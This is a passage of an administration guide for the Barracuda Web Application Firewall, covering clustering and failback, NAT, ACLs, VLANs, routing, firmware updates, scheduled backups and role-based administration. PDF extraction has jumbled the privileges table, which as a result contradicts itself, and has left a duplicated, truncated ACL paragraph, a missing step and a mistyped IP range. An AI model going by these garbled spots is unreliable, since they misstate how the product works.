to the Active state (that is, it can now actively serve application requests), the Vsite(s) that were Active on the failed unit before failover are
automatically failed back (released) from the Peer unit.
Failback in Automatic Mode
When the failed unit recovers from the Failed state and is ready to resume operation, the Vsite(s) that were Active on the failed unit automatically
fails back to the restored unit, and continues to serve traffic. The Peer unit continues to serve traffic to the Vsite(s) that are Active on it (if any).
Failback in Manual Mode
Failback in the manual mode occurs in two ways. They are:
1. Clicking the Failback button on the backup unit.

2. If the Peer unit fails and the other unit is in Standby/Active state

In Manual mode, the Peer unit remains Active even if the failed unit restores from the Failed state and is ready to resume operation. You need to
click on the Failback button in the Clustered Systems section of the Peer unit to resume operation on the other unit.
In the second case, the other unit automatically resumes operation if the Peer unit fails. This can occur only when the failed unit is not in Failed
state and is ready to resume operation.
Manual Failover/Failback
In case if both the units (Self and Peer) goes to Active-Failed state in Manual mode due to network issue (or any other issue such as
heartbeat lost), the units will recover with the same state they were in before going to Active-Failed state.
For example, consider Unit_1 and Unit_2 are in Active (Self)-Standby (Peer) and Standby (Self)-Active (Peer) state respectively. If due
to network issue or loss of heartbeats, the Unit_1 and Unit_2 are unable to communicate with each other, the units will enter to Active
(Self)-Failed (Peer) state. Here, both the units assume that they are Active and the other unit is in Failed state. Upon recovery, both the
units will enter the same state they were in before going to Active(Self)-Failed(Peer) state, i.e. Unit_1 in Active(Self)-Standby(Peer)
and Unit_2 in Standby(Self)-Active(Peer) state.
Automatic Failover/Failback

Related Articles
How to Set Up a High Availability Environment with Two Barracuda Web Application Firewalls

This configuration is available ONLY in 7.7 and above Firmware Versions. For information on High Availability in previous firmware
versions, call Barracuda Technical Support.
Removing a Unit from a Cluster
A Barracuda Web Application Firewall can be removed from a cluster at any time as per the following steps.
Steps to Remove a Unit from a Cluster
1. Take a backup of system configuration on both units. Refer to Backing up and Restoring your System Configuration.
2. Identify the unit that you want to remove from the cluster.
3. From the ADVANCED > High Availability page of the unit that you want to remove, click the Delete button in the Clustered Systems s
ection. This removes the Vsite(s) active on the Peer from this unit, and retains Vsite(s) that were configured to be active on this unit. The
Services in Vsite(s) that were removed continue to operate on the Peer unit.
If you are removing the unit for an RMA, follow the steps in Replacing a Unit in the Cluster.
Replacing a Unit in the Cluster
Before attempting an RMA, remove the failed unit from the cluster. The unit's serial number is used to identify it in a clustered configuration. A
replacement unit with a different serial number will not be able to automatically become part of the cluster; it must go through the clustering
procedure.
This task should be carried out during a planned maintenance window.
Steps to Replace a Failed Unit in a Cluster with a New Unit
1. Ensure the Active unit is handling traffic for all Vsite(s) that are configured to be active on the failed unit and Self unit.
2. From the ADVANCED > High Availability page of the Active unit, remove the cluster by clicking the Delete button in the Clustered
Systems section. This operation removes the failed unit from the cluster and moves all Vsites that were configured to be active-on from
the failed unit to the Active unit (Self).
3. Configure a new unit with the failed unit's WAN IP address.
4. Upgrade the firmware version on the new unit to match that of the Active unit. Both units in the cluster should have the same firmware
version installed.
5. From the ADVANCED > High Availability page of the new unit or RMAed unit, enter the WAN IP address of the Active unit, and click Jo
in Cluster.
Related Articles:

How Barracuda Networks Manages Returned Device Drives

Networking
The Barracuda Web Application Firewall provides independent routing entities called Network Groups. Network settings such as routes and ACLs
are configured individually for each Network Group.
You can configure one Network Group for Management Path and multiple Network Groups for Data Path in the Barracuda Web Application
Firewall.
Management Path is the traffic flow from an administrator’s system or network to the Barracuda Web Application Firewall. A Network
Group for the management interface controls management access of the Barracuda Web Application Firewall. Configurations are
specific to a unit and are not synchronized with the Peer unit in a High Availability (HA) cluster.
Data Path is the traffic flow from clients to the back-end server which needs to be secured or routed through the Barracuda Web
Application Firewall. Multiple network groups can be configured on the Data Path to provide the routing flexibility required to deploy the
appliance in complex networks. A Vsite encompasses one Network Group and its associated Services. Administrators can configure
multiple Network Groups by configuring multiple Vsites. A network group is automatically created for the system during the initial
configuration of the physical interfaces. Network settings in the network groups of the Vsite are evaluated first and then the network
settings under System Network Group is evaluated before a packet routing or filtering decision is made. All configuration for data path
network groups are synchronized with the Peer unit in the HA cluster.
The routing decisions for the Management Path and Data Path traffic are taken based on the respective routing tables. The Data Path traffic is
first matched with the set of routes configured for the specific Vsite. If the traffic does not match any Vsite routing entries, it is compared to
System routing entries. If it matches neither Vsite nor System routing entries, the packet is dropped.
The Barracuda Web Application Firewall supports the following routing tables:
Management – Routes to process traffic through the Management interface.

System - The main routing table used for processing all Data Path traffic. The System table includes WAN (WAN default gateway) and
LAN interfaces configured on the BASIC > Administration page.
Vsites – Routes designated for each Vsite configured on the BASIC > Services page. Each Vsite has its own network routing table to
which the incoming/outgoing traffic is compared in order to process the traffic.
Accessing External Servers from the Barracuda Web Application Firewall
External servers can be configured on the following web interface pages:
Authentication Services on ACCESS CONTROL > Authentication Services.

SNMP Trap Receivers on BASIC > Administration.
Email Notification on BASIC > Administration.
DNS Configuration on BASIC > IP Configuration.
Proxy Server Configuration on BASIC > IP Configuration.
Export Logs on ADVANCED > Export Logs.
External Authentication Servers on ADVANCED > Admin Access Control.
NTP Servers on ADVANCED > System Configuration.
For accessing any of the external servers mentioned above whose IP address does not fall within the network of configured virtual interfaces, the
Barracuda Web Application Firewall uses Interface for System Services to forward the packets. You can configure Interface for System
Services on the BASIC > IP Configuration page.
If you want the route to be overridden, a host specific static route should be configured within the network group from which the server is
accessible.
Example: External server reachable through 'Management' network group.
Consider you have a NTP server that is reachable though 'Management' network group and your Interface for System Services is set to WAN,
then a specific static route should be configured for the NTP server within the Management network group on the ADVANCED > Advanced
Networking page. Alternatively you can set your Interface for System Services as Management.
Management default gateway is 10.11.25.254 and NTP server IP address is 10.11.17.40 which is reachable via gateway 10.11.25.254, then we
can add a static route on Management Network Group as host 10.11.17.40 and gateway as 10.11.25.254.

The ADVANCED > Advanced Networking > Configuration for Network Group section allows you to configure network components.
Select the network group from the Network Group drop-down list to add or modify the network components. The network components are:
Network Address Translation (NAT)

Access Control List (ACL)
Virtual Local Area Network (VLAN)
Routes
Interfaces
Configuration

Network Address Translation (NAT)
Network Address Translation (NAT) maps outbound IP addresses to prevent exposing internal IP addresses.
NAT allows you to:
Conceal the internal IP address from external exposure or access.

Reduce the demand for registered IP addresses because internal IP addresses are not revealed to the outside world.
Incoming IP addresses can be translated to correct internal IP addresses.
Source Network Address Translation (SNAT)
Source Network Address Translation (SNAT) maps internal IP (private IP) addresses to an external IP (public IP) address.Source Network
Address Translation (SNAT) re-writes the IP address of the computer that originated the packet. SNAT is composed of two steps:
The process of translating an internal IP address into an external IP address.

The process of undoing the translation for returning traffic, that is, rewriting the IP address of the computer that originated the packet.
For example, consider an internal IP address 10.1.2.27 sends a packet to an external web server. The Barracuda Web Application Firewall
translates the internal IP address 10.1.2.27 to an external IP address 209.165.201.10. When the external web server responds, the external IP
address 209.165.201.10 receives the packet and sends it to the internal IP address 10.1.2.27.
Following are the SNAT Capabilities Provided by the Barracuda Web Application Firewall:
Dynamic NAT: Sets up a sequential translation between internal IP addresses and external IP addresses. You can specify a range of
external IP addresses, and the Barracuda Web Application Firewall dynamically maps the internal IP address to the available external IP
address. For example, enter the internal IP address 10.1.2.0 in Pre SNAT Source with subnet mask 255.255.255.0 in Pre SNAT Source
Mask and enter a range of external IP addresses (209.165.201.11 - 209.065.201.16) in Post SNAT Source. The Barracuda Web
Application Firewall will translate internal source IP addresses to the available external IP address.
Static NAT: Sets up a one to one translation between a single internal IP address and a single external IP address. For example, an
internal IP address of 10.1.2.27 will always translate to 209.165.201.10.
To add an SNAT rule, click NAT in the Network Configuration section. In the Source Network Address Translation section, click Add SNAT
and specify values for the fields. For more information, click Help on the relevant web interface page.
Destination Network Address Translation (DNAT)
Destination Network Address Translation (DNAT) re-writes the destination IP address of incoming traffic. Consider you have a server inside your
LAN, and you want users outside the network to access that server. This can be accomplished by configuring DNAT rule that directs all the traffic
passing through the Barracuda Web Application Firewall to the internal network.
For example, users outside your network cannot access a mail server inside your LAN with the IP address 192.168.2.5 on port 25 through the
Barracuda Web Application Firewall because routing to a private IP address is not possible. If you want to allow users to access that mail server,
you need to configure the DNAT rule for port 25 so that traffic destined for port 25 on the WAN interface of the Barracuda Web Application
Firewall is redirected to 192.168.2.5.
Ensure that you configure an ACL rule along with the DNAT rule to allow the traffic to pass through the Barracuda Web Application
Firewall via port 25 or else the firewall will drop the incoming packets.
To add an DNAT rule, click NAT in the Network Configuration section. In the Destination Network Address Translation section, click Add
DNAT and specify values for the fields. For more information, click Help on the relevant web interface page.

Access Control List (ACL)
Access Control List (ACL) specifies the IP address firewall access rules applied to a packet.The rules are compared to each packet, and if a
packet matches a rule, the configured action for that rule is performed. The action ALLOW accepts the packet allowing access; the action DENY
drops the packet denying access.
ACLs can constrain the flow of traffic by individual IP address or by a range of IP addresses.
ACLs can be bound to specific interfaces (LAN, WAN or MGMT) of the Barracuda Web Application Firewall allowing configuration of
distinct restrictions for front-end and back-end traffic.
To create an ACL rule, from the ADVANCED > Advanced Networking page, click the ACL tab in the Network Configuration section. In the Ne
twork ACLs section, click Add ACL and specify values for the fields.
For more information, click Help on the relevant page of the web interface.
ACLs for Forwarded Traffic
Network ACLs configured under "System/Vsites" apply to Service traffic on the Barracuda Web Application Firewall. NAT'ed (SNAT and DNAT)
traffic routed through the Barracuda Web Application Firewall from the back-end servers to the internet are controlled using "ACLs for
Forwarded Traffic".
For example, the Barracuda Web Application Firewall can route or NAT packets from back-end servers in the LAN network to a remote client,
reachable through the WAN interface; and vice versa by configuring appropriate static routes and Forward ACL rules with action ALLOW on the
Auto Created Network ACLs
Auto Created Network ACLs are generated at system boot time and persist on the system across any configuration change. The auto created
ACLs include the following predefined allow deny rules:
Allow rules to access support tunnel, DNS server and the secure shell (for CLI).
Deny rules to MGMT and WAN interfaces. Any traffic passing through MGMT and WAN interfaces are blocked. The administrator must
create ACL rules to allow designated traffic to pass through these interfaces.
By default, the Log Status is set to Off for all auto created network ACLs. Any traffic that matches these ACL rules is not logged under ADVANC
ED > Network Firewall Logs. To enable logging, click the Edit icon next to the ACL rule and set the Log Status to On.

Network ACLs configured under "System/Vsites" apply to Service traffic on the Barracuda Web Application Firewall. NAT'ed (SNAT and DNAT)
traffic routed through the Barracuda Web Application Firewall from the back-end servers to the internet are controlled using "ACLs for
Forwarded Traffic".
For example, the Barracuda Web Application Firewall can route or NAT packets from back-end servers in the LAN network to a remote client,
reachable through the WAN interface; and vice versa by configuring appropriate static routes and Forward ACL rules with action ALLOW on the

Virtual Local Area Network (VLAN)
A VLAN (Virtual Local Area Network) is a logical construct, similar to a LAN, which defines a broadcast domain. While a LAN requires all hosts to
be physically connected to the same switch, a VLAN allows hosts not connected to the same switch to belong to the same broadcast domain. In
addition, the ports on a switch with VLAN capabilities can be divided into multiple independent broadcast domains. Network reconfiguration can
be done through software instead of physically relocating devices.
When a VLAN spans multiple switches, the VLAN traffic is routed over trunk ports on the switches. The link between two trunk ports is known as
the trunk link. Usually a trunk link is implemented between fast switch ports on two different switches using a crossover cable. A VLAN might
have 3 ports on one switch, and 7 ports on another; the inter-switch traffic is routed on the trunk ports.
Traffic for multiple VLANs can be transferred across a single trunk link. This works using VLAN tagging, which tags Ethernet packets with the
VLAN ID to which the packet belongs. Alternatively, VLAN ports on the VLAN switch belong to a single VLAN and therefore only see the
broadcast traffic of that VLAN.
VLAN Configuration
To route a VLAN through the WAN, LAN, or MGMT interface, a VLAN interface must be added to receive the broadcast traffic from the VLAN and
route traffic to the VLAN. To add a VLAN interface, you must specify the VLAN ID, and the IP address and subnet mask for the interface. Based
on the destination IP address of network packets, the Barracuda Web Application Firewall routes the packets to the appropriate VLAN interface.
Adding a VLAN interface makes the Barracuda Web Application Firewall aware of that VLAN, and allows it to perform explicit VLAN tagging
functions for traffic routed to the VLAN, and to remove VLAN tagging when routing packets from the VLAN to non-VLAN networks.
For example, if all Real Servers reside in VLAN 100, then the LAN port may be connected to a port on the VLAN switch belonging to VLAN 100.
Correspondingly a VLAN interface must be added to the LAN interface with VLAN ID 100 and have an available IP address belonging in the
VLAN broadcast domain.
To create a VLAN rule, select the VLAN tab in the Network Configuration section. In the VLAN Configuration section, click Add VLAN and
specify values for the fields. Click Help for more information.
Routing to Multiple VLANs over an Interface
If any interface on the Barracuda Web Application Firewall has to route to multiple VLANs, it must be connected to the VLAN switch via a trunk
(or hybrid) link, since VLAN traffic to multiple VLANs can only be transported over trunk links. In order to route to multiple VLANs via any of the
physical interfaces, one VLAN interface must be added to the relevant physical interface per VLAN. If the Real Servers are distributed across
multiple VLANs, say 100, 105, and 111, then the LAN port must be connected to a trunk port on the VLAN switch. A VLAN interface must be
added for each VLAN on the LAN interface with the corresponding VLAN IDs, 100, 105 and 111. This allows the Barracuda Web Application
Firewall to route to the correct VLAN by inserting appropriate VLAN IDs before forwarding on to the trunk link.
Bridge Mode
In Bridge mode, if VLANs are being used, both the LAN and WAN ports must be on the same VLAN and a corresponding VLAN interface must be
added on either the WAN or LAN interface. Bridge mode does not currently support configurations with the LAN and WAN connected to different
VLANs. If the MGMT port is part of one or more VLANs, then VLAN interfaces must be added on to the MGMT port for the respective VLANs.

Routes
To configure traffic routes which determine routing decisions for a specific Network Group, from the ADVANCED > Advanced Networking page
of the web interface, select the Network Group and select the Routes tab in the Network Configuration section.
Static Routes
Create a static route to specify the exact route to a remote network. This allows you to route to an interface that is located on a different subnet.
In the Static Routes section, click Add Static Route and specify values for the fields.
IPv6 Static Routes
Create an IPv6 static route using the IPv6 Static Routes section. Click Add IPv6 Static Route and specify values for the fields.
For further information about configuring routes, access the web interface, and click Help in the section where you desire additional details.
Interface Routes
Create an interface route to specify the interface to use for a remote network. This is useful in the bridge mode where the service IP address is
not owned by the Barracuda Web Application Firewall.
In the Interface Routes section, click Add Interface Route and specify values for the fields.
IPv6 Interface Routes
Create an IPv6 interface using the IPv6 Interface Routes section. Click Add IPv6 Interface Route and specify values for the fields.
For further information about configuring routes, access the web interface, and click Help in the section where you desire additional details.

Interfaces
A configured interface is a logical exit point that allows traffic to flow between the Barracuda Web Application Firewall and the servers.
To configure interfaces, from the ADVANCED > Advanced Networking page, select the Interfaces tab. For additional information on these
configurations, from the web interface, click Help in the relevant section.
Service Virtual Interfaces
The Service Virtual Interfaces section displays all Service IP addresses as well as any configured virtual interfaces.
Custom Virtual Interfaces
The Custom Virtual Interfaces section allows you to add virtual interface(s) to the physical port (WAN or LAN) used to communicate with the
servers.
To add a custom virtual interface, in the Custom Virtual Interfaces section, click Add Custom Virtual Interface and specify values for the
fields.
IPv6 Interfaces
IPv6 Service Virtual Interfaces
The IPv6 Service Virtual Interfaces section displays all IPv6 Service IP addresses as well as any configured virtual interfaces.
IPv6 Custom Virtual Interfaces
The IPv6 Custom Virtual Interfaces section allows you to add IPv6 virtual interface(s) to the physical port (WAN or LAN) used to communicate
with the servers.
To add an IPv6 custom virtual interface, click Add IPv6 Custom Virtual Interface and specify values for the fields.

Configuration
You can enable NAT for LAN servers, configure Stateful Network Firewall and edit Network Interface Card (NIC) settings for the System Network
Group. Select System from the Network Group list, and select the Configuration tab to configure the following features. For more information
on these features, access the web interface and click Help next to the relevant section.
NAT for LAN Servers
Network Address Translation (NAT) for LAN Servers allows you to automatically NAT all servers on the LAN with a single setting. This option
enables all traffic originating from LAN to go out on the WAN, automatically NATted with the WAN interface IP address or with the first available
Service IP address.
You are not required to configure SNAT and ACL rule for the LAN servers, as the Barracuda Web Application Firewall automatically NATs and
allows the LAN traffic to go out on the WAN. For example, consider the LAN servers with the IP addresses 10.10.10. 24, 192.168.32.10, and
192.168.30.15. To go out on WAN through the Barracuda Web Application Firewall, the traffic from the LAN servers is automatically NATted with
the WAN interface IP address (209.165.201.10) or with the first available Service IP address 209.165.201.11.
To enable NAT for LAN servers, in the NAT for LAN Servers section, set Enable SNAT for LAN Servers to Yes.
Stateful Network Firewall
The Barracuda Web Application Firewall uses stateful firewall inspection to prevent network-layer attacks like TCP anomaly and signature
attacks. It keeps track of the state of network connections and uses this information to verify the inbound network packets traversing through the
firewall.
Use the Stateful Network Firewall section to configure this feature.
Network Interface Card (NIC) Advanced Configuration
NIC (network interface card) is a hardware unit designed to allow computers to communicate over a computer network. This NIC card, when
installed on the Barracuda Web Application Firewall, negotiates communication with a switch/router with the right combination of duplexity and
speed so they can communicate with one another in both directions.
There are two ways to set the NIC configurations, either manual or automatic. In manual mode, if the speed and duplexity of the card mismatches
that of the switch/router, then the negotiations may fail. If Auto-Negotiation Status is set to On the NIC card will automatically match its settings
to that of the switch/router to start communication. This is the recommended setting. Click Edit in the Action column, next to the desired
interface, to set Auto-Negotiation Status to On.
NIC is configured with predefined values by default for all the three interface ports LAN, WAN and MGMT. To edit the NIC configuration, in the NI
C Advanced Configuration section, click Edit next to the interface name. The Edit Advanced NIC Configuration window appears, modify the
settings if required and click Save.

System Administration and Maintenance
In this Section
Administration and Maintenance of the Barracuda Web Application Firewall may require the following tasks:
Updating Firmware on the Barracuda Web Application Firewall

Backing up and Restoring your System Configuration
Scheduling Automated FTP Backups
Scheduling Automated SMB Backups
How to Configure Role Based Administration
Barracuda Web Application Firewall Hardware Features
How to Clear Configuration on the Barracuda Web Application Firewall
Rebooting the System in Recovery Mode
Replacing a Failed System
How to Revert the Firmware
Reverting the Firmware in Clustered Units
Templates

Updating Firmware on the Barracuda Web Application Firewall
To update the firmware in clustered units, refer Updating the Firmware in Clustered Units.
Before updating to a latest firmware version, check the Firmware Storage state under Performance Statistics on the BASIC >
Dashboard page. If the status indicator displayed is in red, contact Barracuda Networks Technical Support before proceeding with
the firmware upgrade.
If your product is deployed in-line and does not have hard bypass functionality, you should plan your firmware upgrade for a time
when your network can tolerate five or more minutes of downtime while the system reboots. Alternately, you can temporarily bypass
the unit, physically.
The ADVANCED > Firmware Update page enables you to manually update the firmware version on your system or revert to a previous version.
Only revert to a previous firmware version if you have recently upgraded the firmware and encountered unexpected problems. Contact Barracuda
Networks Technical Support before reverting to a previous firmware version.
You should use the ADVANCED > Backup > Configuration Backup section to make a backup of the System Configuration to your local
machine before updating the firmware. To schedule automated FTP and SMB Backups, see Scheduling Automated FTP Backups and Schedulin
g Automated SMB Backups.
Steps to Update the Firmware:
Perform the following steps to update the firmware:

2. In the Firmware Download section, click Download Now next to the available Latest General Release or Latest Early Release (s).
3. Click OK when the warning message appears. Download Progress showing your download status displays.
4. Once the download is complete, a Firmware successfully downloaded message displays. Click on (view release notes) to review the
enhancements and fixes available in the new version. Make changes to the existing configuration if required.
5. Click Apply Now to install the new firmware. When prompted with The system must reboot to apply the new firmware. Do you wish
to continue?, click OK. Various status messages appear including: Preparing firmware for installation; System update in
progress…; Rebooting system, Please wait…. The installation process takes several minutes to complete, and will automatically
reboot the Barracuda Web Application Firewall.
6. Once the reboot completes, the login page appears. Log in and verify that all Services have Green health indicators.
If you encounter any issue after upgrade and wish to revert, refer to Steps to Revert the Firmware.
Do not manually Power-Off the Barracuda Web Application Firewall at any time during the upgrade/revert process (unless instructed to
do so by Barracuda Technical Support), or you may cause firmware corruption.
Steps to Revert the Firmware
If the units are clustered:
Ensure both the units are in Manual mode

Revert should first be performed on the Primary unit, and only then on the Secondary unit.

Perform the following steps to revert the firmware:
1. Go to the ADVANCED > Firmware Update > Firmware Revert section:

a. Click Revert next to the Previously Installed Version to revert to the prior version of firmware used by the Barracuda Web
Application Firewall, OR
b. Click Revert next to the Factory Installed Version to revert to the firmware version installed at the factory.
2. Click OK when prompted with the warning message. The unit reboots and reverts to the previous firmware/factory installed version and
configuration settings.
If you had custom patches applied on your box, contact Barracuda Technical Support to re-apply previously installed patches.
If the revert option causes any issue, upload the backup you made before upgrading to the latest version.
Related Articles


The firmware can be updated in either Manual Mode or Automatic Mode.
Updating the Firmware in Manual Mode

Updating the Firmware in Automatic Mode
Related Articles:
Updating the Firmware in Manual Mode
Use Manual Mode if you intend to update and verify the functionality of the firmware on one unit before upgrading the other unit in the cluster.
When upgrading the firmware version from 7.6.3/7.6.4 to 7.7, Manual mode is recommended for upgrade process.
Perform the following steps to manually update your firmware:
1. Download the new version of the Firmware to both units.

2. From the ADVANCED > High Availability page on the Primary unit, in the Cluster Settings section, change the Failback Mode to Man
ual. Wait until the configurations are synchronized, and the Secondary unit changes from Failback Mode to Manual.
3. Ensure the Primary unit is Active and serving requests, and the Secondary unit is in Standby state.
4. From the ADVANCED > Firmware Update > Firmware Download section on the Secondary unit, click Apply Now to apply the new
version. This reboots the unit.
5. Once the Secondary unit reboots successfully, click the Failover button on the Primary unit to move all active Services from the Primary
unit to the Secondary unit.
- Since the units are using different firmware versions, configuration changes made on one unit will not be synchronized with
the other unit.
- When the Secondary unit is upgraded to the higher firmware version and the Primary unit is still in the 7.7 firmware version,
then the Failover button will not be available on the Primary unit to manually failover the active Services from the Primary unit
to the Secondary unit. If you wish to verify the functionality of the upgraded (higher) firmware version on the Secondary unit
before performing an upgrade on the Primary unit, REBOOT the Primary unit to automatically failover all active Services from
the Primary unit to the Secondary unit. When successfully verified, update the Primary unit (See step 6 (a)).
6. The Secondary unit now assumes all active Services and serves all requests. Verify functionality of the firmware on the Secondary unit.
a. When successfully verified, update the Primary unit.
i. From the ADVANCED > Firmware Update > Firmware Download section on the Primary unit, click Apply Now to
apply the latest firmware. This reboots the unit.
ii. Once the Primary unit reboots successfully, click the Failback button on the Primary unit to move all active Services
from the Secondary unit to Primary unit.
iii. Now, change the Failback Mode to Automatic if required.
b. If you encounter unexpected problems with the latest firmware version, contact Barracuda Networks Technical Support.
Alternatively, revert to the previous firmware version. See Steps to Revert the Firmware in Updating Firmware on the
Updating the Firmware in Automatic Mode
Perform the following steps to update the firmware in automatic mode:
1. Download the new version of the Firmware to both units.

2. Ensure the Primary unit is Active and serving requests, and the Secondary unit is in Standby state.
3. From the ADVANCED > Firmware Update > Firmware Download section on the Secondary unit, click Apply Now to apply the new
version. This reboots the unit.
4. Once the Secondary unit reboots successfully, it remains in the Standby state.
5. From the ADVANCED > Firmware Update > Firmware Download section on the Primary unit, click Apply Now to apply the new
version. This reboots the unit. If the heartbeat from the Primary unit is missed while it is rebooting, all active Services may failover for a
short time to the Secondary unit which will assume Services.
Related Articles:
High Availability

Backing up and Restoring your System Configuration
You can back up various system configuration and user settings on your Barracuda Web Application Firewall using the ADVANCED > Backup, C
onfiguration Backup section. These files allow you to restore your current system, or duplicate the configuration on another Barracuda Web
Application Firewall using the ADVANCED > Backup, Restoring Backups section.
You should create a backup of your system on a regular basis to insure you can restore your configuration in the event of a data corruption.
When you restore a backup file to a new Barracuda Web Application Firewall that is not configured, you need to configure the new system IP
address and DNS information on the BASIC > IP Configuration page.
Note the following about the backup file:
Do not edit backup files. Any configuration changes you want will need to be done through the web interface. The configuration backup
file contains a checksum that prevents the file from being uploaded to the system if any changes are made.
The following information is not included in the backup file:
System password
System IP address information

Perform the following steps to schedule automated configuration backups to an FTP server:
1. From the ADVANCED > Backup page in the Automated Backups section, select FTP from the Server Type drop-down list.
Server Name/IP – Enter the Fully Qualified Domain Name (FQDN)/IP address of your FTP server.
Port – Enter the port number for the FTP server. The default FTP port is 21.
Username – Enter the username to authenticate to the FTP server.
Password – Enter the password to authenticate to the FTP server. Note: The Barracuda Web Application Firewall uses these
credentials (Username and Password) to connect to the FTP server. Make sure this account has read and write privileges to the
path specified in Folder/Path.
Folder/Path – Enter the path to the directory on the FTP server where you want to save automated backups.
3. Click Save.
4. To test the connection to the FTP server, click the Test Backup Server button. The following window pops up if the test was successful:
5. If the test was successful, proceed and configure the Backup Schedule and Backups to Keep.
Backup Schedule – Select the check box next to each component that is to be backed up. Select the day of the week (or Daily)
and the time of day you would like each backup to run.
Backups to Keep – Set the maximum number of backups to keep on the remote (FTP) server at any one time. When this limit is
reached, the oldest backup set will be removed to make room for the newest.
6. Click Save.
Related Articles

Perform the following steps to schedule automated configuration backups to an SMB server:
1. From the ADVANCED > Backup page in the Automated Backups section, select SMB from the Server Type drop-down list.
Server Name/IP – Enter the Network Basic Input/Output System (NetBIOS) name IP address of the SMB server that will receive
the automated SMB backups.
Port – Enter the port number for the SMB server. The SMB port can either be 139 or 445.
Username – Enter the username to authenticate to the SMB server.
Password – Enter the password to authenticate to the SMB server. Note: The Barracuda Web Application Firewall uses these
credentials (Username and Password) to connect to the SMB server. Make sure this account has read and write privileges to the
shared folder specified in Folder/Path.
Folder/Path – Enter the shared folder on the SMB server where you would wish to save automated backups. Note: The
Barracuda Web Application Firewall is able to connect only to top-level shared folders. The value should be preceded by a slash
(\) and cannot contain spaces or special characters.
Backup Schedule - Select the check box next to each component that is to be backed up. Select the day of the week (or Daily)
and the time of day you would like each backup to run.
Backups to Keep – Set the maximum number of backups to keep on the remote (SMB) server at any one time. When this limit
is reached, the oldest backup set will be removed to make room for the newest.
3. Click Save.
Note
Depending on the SMB version, the Username might need to be formatted in one of these ways:
<username>
<SMB domain>/<username> (Windows Server 2000 only)
<username>@<SMB domain> (Windows Server 2003 only)
Related Articles

How to Configure Role Based Administration
Role Based Administration (RBA) restricts access to system resources based on the roles assigned to users within an organization. The
Barracuda Web Application Firewall is shipped with predefined roles, each with distinct operational and configuration privileges. In addition to
predefined roles, the Barracuda Web Application Firewall allows you to create custom roles and define access privileges. These roles can be
assigned to users to perform specific job functions. The admin role, by default, is assigned to the administrative user who has permission for role
management.
In this article:
Administrator Account Settings

Roles and Privileges
Roles
Privileges
Object Privileges
Screen and Operation Privileges
Predefined Roles
Step 1 - Create a New Role
Step 2 - Assign Roles to Users
Local Users
External Users
Change the Default Role for External Users
Configuration example to restrict users from a group for Open LDAP Directory and Active Directory
Group filter configuration to restrict users from a group for Open LDAP Directory:
Group filter configuration to restrict users from a group for Active Directory:
Administrator Account Settings
On the ADVANCED > Admin Access Control page in the Administrator Account Settings section, you can configure a password security
policy to ensure that administrators/users create secure passwords, and a policy to lock administrator accounts after a specified number of failed
login attempts. For more information on password policy and account lockout policy settings, refer to the online Help.
Roles and Privileges
Roles
A role is a set of privileges or permissions for the available system resources, created for a specific job function. The admin role is allowed to
create, modify, and delete roles. A role can be assigned to multiple users within an organization. Assigning a role to a user confers the set of
privileges for the system resources included in the role definition. All users who assume that role can operate in the same environment and
access the same resources. For example, an administrator assigned to the audit-admin role is only allowed to view logs on the system and is
prevented from accessing any other objects.
Privileges
A privilege is an access right or permission for a system resource. Privileges are used to control access to the system. You can grant privileges to
a role, and then assign the role to one or more users. There are two distinct categories of privileges:
Object Privileges
Object Privileges
The following table lists the key configuration objects that are classified in role based administration:
Object Description Privileges
Services Exhibits all services that are configured on Read: Enables the user to view the
the Barracuda Web Application Firewall. configuration of an object, but prohibits
modifying the object.
Security Policies Exhibits all default and customized security
policies. Write: Enables the user to view and modify
the configuration of an object, but prohibits
deleting the object.
Read All: Enables the user to view and

modify the configuration of all objects, but
prohibits modifying objects.
Write All: Enables the user to view and

modify the configuration of all objects, but

Authentication Services Exhibits all authentication services such as
prohibits deleting the objects.
Lightweight Directory Access Protocol
(LDAP) and Remote Authentication Dial In
User Service (RADIUS).
The Barracuda Web Application Firewall provides several distinct operations. These operations include tasks such as shutting down the system,
changing the system time and date, backing up the system configuration, etc. You can grant permission to perform these operations to a role. A
role can only execute operations for which it has permission, and is prevented from executing any other operation in the system. For example,
when users are granted appearance operation permission, they can change the system name and reset the image used in the web interface.
To select an operation, ensure the corresponding secondary tab is selected in the Web Interface Privileges section. If you do not select the
secondary tab, the corresponding operations become inaccessible. The admin user should determine the screens viewable by a user by
selecting the secondary tabs.
Predefined Roles
The following table lists a predefined set of roles provided by the Barracuda Web Application Firewall. A predefined role cannot be modified or
deleted.
Role Description of Allowed Functions Associated with Role
admin The super-administrator
All system operations
Note: Only admin can create and assign roles
audit-manager Viewing Logs
certificate-manager Uploading certificates

Creating certificates
Uploading Trusted certificates
service-manager Adding a server

Creating URL ACLs
Configuring website translation rules
Adding URL and parameter profiles
Configuring traffic management rules
Note: service-manager cannot create or delete services
policy-manager Managing default and customized security policies

Modifying security policies
Note: policy-manager cannot create or delete security policies
network-manager Advanced IP address configuration

Configuring SNAT and ACL's
Network troubleshooting
monitoring-manager View logs

Configuring email notifications
Exporting system logs, application logs and FTP access logs
Generating and scheduling reports
guest View all configurations
Note: guest may not modify the configuration
Step 1 - Create a New Role
In addition to the factory shipped roles, the Barracuda Web Application Firewall enables you to create new roles. You can specify the privileges
for these roles, and then assign them to users.
1. Go to the ADVANCED > Admin Access Control page.

2. In the Administrator Roles section, click Add Administrator Role.
3. In the Add Administrator Role window, enter a role name and specify the permissions for the role.
4. Click Create Role.

For more information, refer to the online Help.
Step 2 - Assign Roles to Users
Barracuda Web Application Firewall users are assigned roles which determine the operations they can perform. A user may be either local or ext
ernal. Users must be assigned a role when the user account is created. The user can then access the system. When a user attempts to log in,
the Barracuda Web Application Firewall first tries to authenticate the user credentials against configured local administrators, then queries the
configured external authentication service. Once authenticated, the user inherits privileges from the associated role.
Local Users
Local administrators or users are authenticated internally in the Barracuda Web Application Firewall. The admin user can create local users and
associate each user with an administrator role. If you delete a local administrator account, that user is denied access to the system.
External Users
External administrators or users are part of an external authentication service like the Lightweight Directory Access Protocol (LDAP) or Remote
Authentication Dial In User Service (RADIUS). The Barracuda Web Application Firewall enables you to configure an external authentication
service, allowing authenticated external users to access the system. An external user cannot be created, but is synchronized internally from the
LDAP or RADIUS server when the user is successfully authenticated with the configured directory services. You can override the default role
association for an external user by editing the user.
Note: When an external user is no longer part of the LDAP or RADIUS database, the user must be manually deleted from the
Barracuda Web Application Firewall so external authentication fails.

2. To assign roles to local administrators:
a. In the Administrator Accounts section, click Add Local Administrator.
b. In the Admin Access Control window, enter the credentials, select the role, and enter the email address for the user.
c. Click Add. The local user then appears in the table in the Administrator Accounts section.
3. To assign roles to external users:
a. In the External Authentication Services section, select your external authentication service from the list.
